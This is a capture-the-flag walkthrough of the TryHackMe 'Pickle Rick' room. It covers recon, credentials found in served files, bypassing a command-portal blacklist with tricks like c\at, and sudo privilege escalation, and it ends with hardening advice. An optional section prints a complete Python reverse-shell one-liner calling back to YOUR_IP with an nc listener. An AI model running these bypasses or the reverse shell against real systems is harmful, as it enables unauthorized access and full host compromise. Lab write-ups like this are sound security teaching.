Pickle Rick is a TryHackMe room that runs the whole kill chain on a single host: web enumeration, credential discovery, a command-injection portal, filter bypass, and privilege escalation. None of the steps is hard individually; the value is seeing why each defensive control on the box fails - a blacklist that misses trivial obfuscation, secrets left in places that are served to everyone, and a sudo rule that is a one-line path to root.
Path to root, at a glance:
- Enumerate the web app -> username in an HTML comment, password in
robots.txt. - Log in -> a command-execution portal with a
catblacklist. - Bypass the blacklist -> read the first two ingredients.
sudo -l->NOPASSWD: ALL-> root -> third ingredient.
Recon - nmap
┌──(kali㉿kali)-[~/THM/PickleRick]
└─$ nmap -sC -sV -p- -A -Pn 10.10.X.X -T5 -oN nmap_scan.txt -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.6
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_http-title: Rick is sup4r cool
SSH and HTTP. SSH needs credentials I do not have, so the web server is the surface - and nmap
has already flagged a robots.txt with a disallowed entry, which is worth reading precisely because
someone wanted crawlers to ignore it.
Enumeration - web
The front page carries a username in an HTML comment - “view source” is enumeration, and theming pages are a reliable place for developers to leave notes:
<!--
Note to self, remember username!
Username: R1ckRul3s
-->
robots.txt holds what looks like a password (and is a well-known line from the show, so it reads
as a deliberate secret, not a word to ignore):
Wubbalubbadubdub
A directory brute force turns up assets/ but nothing useful; nikto names the login page:
└─$ nikto -h 10.49.135.200
+ /login.php: Admin login page/section found.
So: a credential pair, and somewhere to use it. Neither secret should have been reachable
unauthenticated - both the comment and robots.txt are served to anyone.
Foothold - the command-injection portal
Logging in at /login.php with R1ckRul3s / Wubbalubbadubdub lands on /portal.php, which runs
commands server-side and shows the output - command injection by design, gated only by a
blacklist. It blocks cat, more, head, tail, nl, which is the telling mistake: the
developer enumerated the tools they could think of instead of constraining what the input is allowed
to be. Two independent ways through:
# Use a reader that is not on the list:
less Sup3rS3cretPickl3Ingred.txt
# Or defeat the string match on 'cat' - the shell reassembles the token
# after it strips the backslash / the empty quotes:
c\at Sup3rS3cretPickl3Ingred.txt
ca''t Sup3rS3cretPickl3Ingred.txt
c\at and ca''t work because the blacklist matches the literal string cat, but the shell
removes the backslash and the empty quotes during word expansion and executes cat all the same.
The filter and the interpreter disagree about what the input says - which is the root of nearly
every filter bypass.
Loot - the three ingredients
less Sup3rS3cretPickl3Ingred.txt
# [ingredient 1]
ls /home/rick/
less "/home/rick/second ingredients"
# [ingredient 2] (note: file names with spaces need quotes)
The third needs root. Check the sudo rights of the web user:
sudo -l
# User www-data may run the following commands on this host:
# (ALL) NOPASSWD: ALL
(ALL) NOPASSWD: ALL means www-data can run anything as root with no password - a complete
compromise, no exploit required:
sudo less /root/3rd.txt
# [ingredient 3]
Optional - a stable reverse shell
The portal is fine for single commands, but an interactive shell is better for anything real. Feed a reverse shell through it:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# Listener
nc -lnvp 4444
Then stabilise the TTY so job control, arrow keys and less behave:
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
export TERM=xterm
Detection and hardening
- Keep secrets out of what you serve. HTML comments and
robots.txtare public; credentials belong in neither.robots.txtadvertises sensitive paths rather than hiding them. - Whitelist, never blacklist. A deny-list of command names is defeated by
c\at,ca''t,less,$(...), and a dozen more. Constrain the input to an allowed set, or remove the shell entirely. - Never shell out with user input. If a command must be built, pass arguments as a vector and
use
escapeshellarg(); better, call the underlying capability directly without a shell. - Scope sudo tightly.
NOPASSWD: ALLfor a web account turns any foothold into instant root - grant specific binaries, and remember that many “safe” ones (less,vi,find) are themselves root shells via GTFOBins.
Lessons
- Enumeration is where this box is won - both secrets were sitting in plain, served files.
- Filter bypass is a disagreement between the filter and the interpreter. The blacklist read
cat; the shell readcattoo, just after expansion the filter never modelled. - A sudo rule is an exploit.
sudo -lis non-negotiable on every Linux foothold;NOPASSWD: ALLis the whole privesc.